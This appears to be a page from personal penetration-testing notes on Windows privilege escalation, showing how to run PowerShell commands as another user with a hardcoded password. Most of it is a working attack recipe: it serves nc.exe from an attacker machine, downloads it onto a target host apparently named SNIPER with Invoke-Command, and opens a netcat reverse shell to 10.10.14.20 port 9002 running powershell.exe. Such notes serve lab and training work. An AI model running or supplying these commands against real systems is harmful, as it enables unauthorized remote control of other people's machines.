> For the complete documentation index, see [llms.txt](https://squid22.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://squid22.gitbook.io/notes/windows-1/privesc/powershell-runas.md).

# Powershell Runas

This is how to execute commands as a different user in Powershell. (similar to runas)

```
$Username = 'BOXNAME\user1'
$Password = 'sup3rs3cr3t123'
$pass = ConvertTo-SecureString -AsPlainText $Password -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass  
Invoke-Command -Computer BOXNAME -ScriptBlock { whoami }  -Credential $Cred
```

To get a reverse shell with a different user.

```bash
# Use python to share the file
python3 -m http.server 80

# Use powershell to download the file. In this case nc.exe
Invoke-Command -Computer SNIPER -ScriptBlock { IWR -uri 10.10.14.20/nc.exe -outfile nc.exe }  -Credential $Cred 

# Revser shell with powershell 
Invoke-Command -Computer SNIPER -ScriptBlock { cmd /c nc.exe 10.10.14.20 9002 -e powershell.exe }  -Credential $Cred     
    
```

Another way of doing it.

```
Start-Process powershell -Credential domain\differentUserName -ArgumentList '-noprofile -command &{Start-Process "TheApp.exe" -verb runas}'  
```